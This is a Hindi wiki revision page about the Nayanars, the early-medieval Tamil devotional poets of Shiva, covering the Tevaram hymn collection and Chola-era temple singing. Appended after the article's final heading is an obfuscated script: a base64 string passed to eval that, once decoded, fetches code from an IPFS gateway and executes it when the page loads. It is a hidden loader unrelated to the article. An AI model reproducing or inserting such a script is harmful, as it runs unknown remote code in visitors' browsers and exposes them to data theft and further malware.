"नयनार" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
फ़ौज़िया ख़ान (चर्चा | योगदान) छो (Adding category Category:दक्षिण भारत (को हटा दिया गया हैं।)) |
|||
(एक अन्य सदस्य द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | + | '''नयनार''' सातवीं एवं आठवीं [[सदी]] के [[तमिल भाषा]] के [[कवि]] या [[संगीतज्ञ|संगीतज्ञों]] में कोई भी हो सकते हैं। | |
− | '''नयनार''' सातवीं एवं आठवीं [[सदी]] के [[तमिल भाषा]] के [[कवि]] या [[संगीतज्ञ|संगीतज्ञों]] में कोई भी हो सकते | ||
+ | *नयनार ने [[शिव|भगवान शिव]] के सम्मान में बहुत सुंदर भजनों की रचना की है। | ||
+ | *कवि ज्ञानसंबंदर, अप्पार एवं सुंदरमूर्ति<ref>अक्सर त्रयी कहे जाते हैं</ref> को [[दक्षिण भारत]] के मंदिरों में [[संत]] के रूप में पूजा जाता है। नयनार अपने वैष्णव प्रतिरूपों, 'आलवार', के लगभग समकालीन थे। | ||
+ | *नयनारों के भजनों का संकलन 10वीं सदी में नांबी अनर नांबी ने तेवरम के रूप में किया तथा दक्षिण भारतीय मंदिरों में गायन के लिए उन्हें संगीतबद्ध किया। | ||
+ | *[[चोल]] [[राजराज प्रथम|राजा राजराजा]] (985-1014) के एक [[शिलालेख]] में उनके द्वारा [[तंजावूर]]<ref>तंजौर</ref> के महामंदिर में भजनों के गायन की शुरुआत का ज़िक्र है। | ||
+ | *अक्सर नयनारों से संबद्ध किये जाने वाले, हालांकि शायद कुछ समय बाद के श्रेष्ठ भक्ति कवि मणिक्कवसागर हैं, जिनके भजन तिरुवसगम<ref>पवित्र वचन</ref> के रूप में संकलित हैं। | ||
− | {{ | + | |
+ | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | [[Category: | + | {{भारत के कवि}} |
− | [[Category: | + | [[Category:कवि]][[Category:संगीतज्ञ]][[Category:धर्म प्रवर्तक और संत]][[Category:जीवनी साहित्य]][[Category:चोल साम्राज्य]][[Category:इतिहास कोश]][[Category:तमिलनाडु]] |
− | [[Category: | ||
− | [[Category:इतिहास कोश]] | ||
− | [[Category: | ||
− | |||
__INDEX__ | __INDEX__ |
11:52, 24 मई 2018 के समय का अवतरण
नयनार सातवीं एवं आठवीं सदी के तमिल भाषा के कवि या संगीतज्ञों में कोई भी हो सकते हैं।
- नयनार ने भगवान शिव के सम्मान में बहुत सुंदर भजनों की रचना की है।
- कवि ज्ञानसंबंदर, अप्पार एवं सुंदरमूर्ति[1] को दक्षिण भारत के मंदिरों में संत के रूप में पूजा जाता है। नयनार अपने वैष्णव प्रतिरूपों, 'आलवार', के लगभग समकालीन थे।
- नयनारों के भजनों का संकलन 10वीं सदी में नांबी अनर नांबी ने तेवरम के रूप में किया तथा दक्षिण भारतीय मंदिरों में गायन के लिए उन्हें संगीतबद्ध किया।
- चोल राजा राजराजा (985-1014) के एक शिलालेख में उनके द्वारा तंजावूर[2] के महामंदिर में भजनों के गायन की शुरुआत का ज़िक्र है।
- अक्सर नयनारों से संबद्ध किये जाने वाले, हालांकि शायद कुछ समय बाद के श्रेष्ठ भक्ति कवि मणिक्कवसागर हैं, जिनके भजन तिरुवसगम[3] के रूप में संकलित हैं।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>